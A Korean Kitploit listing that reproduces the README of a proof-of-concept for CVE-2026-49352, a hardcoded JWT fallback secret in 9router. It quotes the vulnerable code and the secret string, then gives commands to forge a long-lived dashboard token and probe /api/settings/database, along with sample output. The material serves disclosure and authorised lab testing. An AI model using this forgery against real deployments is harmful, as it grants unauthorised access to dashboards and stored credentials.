Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-49352-poc — CVE-2026-49352 (9router 하드코딩된 JWT 시크릿 인증 우회)에 대한 악용 가능성 PoC | Kitploit
도구/GitHubGitHub/covepseng/cve-2026-49352-poc
Authentication & AuthorizationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubcovepseng/cve-2026-49352-poc

cve-2026-49352-poc

CVE-2026-49352 (9router 하드코딩된 JWT 시크릿 인증 우회)에 대한 악용 가능성 PoC

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-49352 — 9router 하드코딩된 JWT 시크릿 인증 우회

목차

  • 개요
  • 영향받는 버전
  • 근본 원인
  • 분석
  • 저장소 구조
  • 요구 사항
  • 사용법
  • 예상 출력
  • 참고 자료
  • 면책 조항

개요

CVE-2026-49352는 AI 코딩 도구를 위한 자체 호스팅 Node.js/Next.js 프록시인 9router의 취약점입니다. 대시보드 세션 JWT는 JWT_SECRET 환경 변수에서 가져온 시크릿으로 서명되지만, 해당 변수가 설정되지 않은 경우 로그인 핸들러와 요청 가드 모두 동일한 하드코딩된 리터럴로 폴백됩니다:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

이 문자열이 공개 저장소에 커밋되어 있기 때문에 전혀 비밀이 아닙니다. 공격자는 이를 사용하여 토큰에 서명하고 인증된 대시보드 사용자로 간주될 수 있습니다.


영향받는 버전

영향받는 범위수정된 버전
0.2.21 – 0.4.410.4.45

근본 원인

폴백 시크릿은 두 개의 독립적인 파일에서 동일하게 정의됩니다.

src/app/api/auth/login/route.js — 로그인 시 세션 토큰을 발급합니다:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setExpirationTime("24h")
  .sign(SECRET);

src/dashboardGuard.js — 모든 보호된 요청에서 토큰을 검증합니다:

root@kitploit:~
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

async function hasValidToken(request) {
  const token = request.cookies.get("auth_token")?.value;
  if (!token) return false;
  try {
    await jwtVerify(token, SECRET);
    return true;
  } catch {
    return false;
  }
}

hasValidToken() 성공은 /dashboard 및 ALWAYS_PROTECTED에 나열된 엔드포인트( /api/settings/database 포함)에 대한 액세스를 허용하기 전에 확인되는 유일한* 조건입니다. 세션 레코드 조회나 토큰 출처 검증이 없습니다 — 유효한 서명이 신원 증명으로 간주됩니다.


분석

우회는 영향을 받는 코드베이스의 빌드에서 확인 및 재현 가능합니다. JWT_SECRET이 설정되지 않은 상태에서:

root@kitploit:~
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed

[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200

배포 형태의 중요성

취약점은 운영자가 JWT_SECRET을 설정하지 않은 경우에만 발생합니다 — 환경 구성 단계를 건너뛰는 대부분의 빠른 시작/docker-run 배포의 기본값입니다. JWT_SECRET을 명시적으로 임의의 값으로 설정한 배포는 영향을 받지 않습니다. SECRET이 모듈 로드 시 한 번 파생되고 폴백되지 않기 때문입니다.


저장소 구조

root@kitploit:~
cve-2026-49352-poc/
├── dockerfile                   # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml           # build + run, JWT_SECRET intentionally omitted
└── exploit/
    ├── go.mod                   # requires github.com/golang-jwt/jwt/v5
    └── exploit.go                # PoC — Go

요구 사항

도구버전비고
Podman≥ 4.0podman-compose 필요
Go≥ 1.22로컬에서 익스플로잇 실행용

외부 Go 종속성: github.com/golang-jwt/jwt/v5.


사용법

1. 컨테이너 빌드 및 시작

root@kitploit:~
podman-compose build
podman-compose up -d

앱이 준비되었다고 보고할 때까지 기다린 후 확인:

root@kitploit:~
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)

2. 익스플로잇 실행

root@kitploit:~
cd exploit
go run exploit.go -target http://localhost:20128

-probe를 추가하여 위조된 쿠키로 /api/settings/database도 요청:

root@kitploit:~
go run exploit.go -target http://localhost:20128 -probe

사용 가능한 플래그:

3. 정리

root@kitploit:~
podman-compose down -v

예상 출력

root@kitploit:~
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}

참고 자료

자료링크
권고GHSA-jphh-m39h-6gwx
취약한 저장소decolua/9router
전체 분석 — 블로그 포스트return-zero.dev/posts/cve-2026-49352

면책 조항

이 저장소는 교육 목적 및 로컬 익스플로잇 분석만을 위한 것입니다. 모든 테스트는 자체 호스팅 컨테이너 환경에서 수행되었습니다. 소유하지 않거나 테스트에 대한 명시적 서면 승인을 받지 않은 시스템에 대해 이 PoC를 실행하지 마십시오.

도구 다운로드
플래그기본값설명
-targethttp://localhost:201289router 인스턴스의 기본 URL
-secret9router-default-secret-change-me위조에 사용할 JWT 폴백 시크릿
-ttl36 * 365 * 24h위조된 토큰의 유효 기간
-probefalse/api/settings/database도 요청